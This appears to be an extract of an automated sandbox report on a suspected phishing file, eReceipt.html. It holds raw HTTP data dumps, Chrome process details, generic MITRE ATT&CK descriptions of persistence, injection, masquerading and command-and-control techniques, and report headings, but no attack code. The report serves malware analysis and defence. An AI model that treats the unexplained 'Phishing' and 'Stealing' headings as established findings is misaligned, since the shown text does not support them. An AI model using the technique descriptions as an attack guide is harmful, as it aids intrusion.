6e 6c 6f 61 64 2d 64 74 2f 31 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 Data Ascii: HTTP/1.1 200 OKContent-Security-Policy: script-src 'report-sample' 'nonce-GCdFDKkKgBSvD3ZmVaBSMw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/download-dt/1Content-Security-P
2023-11-28 15:56:51 UTC	220	IN	Data Raw: 72 6c 7a 43 31 3a 20 31 43 31 4f 4e 47 52 5f 65 6e 55 53 31 30 38 36 0a 72 6c 7a 43 32 3a 20 31 43 32 4f 4e 47 52 5f 65 6e 55 53 31 30 38 36 0a 72 6c 7a 43 37 3a 20 31 43 37 4f 4e 47 52 5f 65 6e 55 53 31 30 38 36 0a 64 63 63 3a 20 0a 73 65 74 5f 64 63 63 3a 20 43 31 3a 31 43 31 4f 4e 47 52 5f 65 6e 55 53 31 30 38 36 2c 43 32 3a 31 43 32 4f 4e 47 52 5f 65 6e 55 53 31 30 38 36 2c 43 37 3a 31 43 37 4f 4e 47 52 5f 65 6e 55 53 31 30 38 36 0a 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 2c 43 31 53 2c 43 37 53 0a 73 74 61 74 65 66 75 6c 2d 65 76 65 6e 74 73 3a 20 43 31 49 2c 43 32 49 2c 43 37 49 0a 63 72 63 33 32 3a 20 38 31 30 65 63 62 64 33 0a Data Ascii: rlzC1: 1C1ONGR_enUS1086rlzC2: 1C2ONGR_enUS1086rlzC7: 1C7ONGR_enUS1086dcc: set_dcc: C1:1C1ONGR_enUS1086,C2:1C2ONGR_enUS1086,C7:1C7ONGR_enUS1086events: C1I,C2I,C7I,C1S,C7Sstateful-events: C1I,C2I,C7Icrc32: 810ecbd3

Target ID:	0
Start time:	16:55:17
Start date:	28/11/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\eReceipt.html
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	16:55:20
Start date:	28/11/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=2024,i,5062304597566424446,7430477722456066179,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report eReceipt.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

Windows Analysis Report
eReceipt.html